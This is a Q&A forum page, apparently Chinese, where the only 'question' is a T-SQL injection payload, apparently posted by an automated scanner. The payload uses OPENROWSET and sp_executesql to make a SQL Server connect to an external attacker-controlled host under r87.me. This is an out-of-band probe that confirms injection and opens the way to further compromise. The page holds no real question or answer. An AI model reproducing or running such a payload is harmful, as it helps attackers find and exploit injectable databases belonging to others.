Chia回答区 › 3 0 赞 踩 Smith asked 1 年 ago DECLARE @q varchar(999),@r nvarchar(999)SET @q = ‘SELECT * FROM OPENROWSET(”SQLOLEDB”,”@”;”a”;”1”,”SELECT 1”)’SET @r=replace(@q,’@’,’66gfsncteuxchyrhobm4gzjwn62emubfxd–btbw’+’je4.r87.me’)exec sp_executesql @r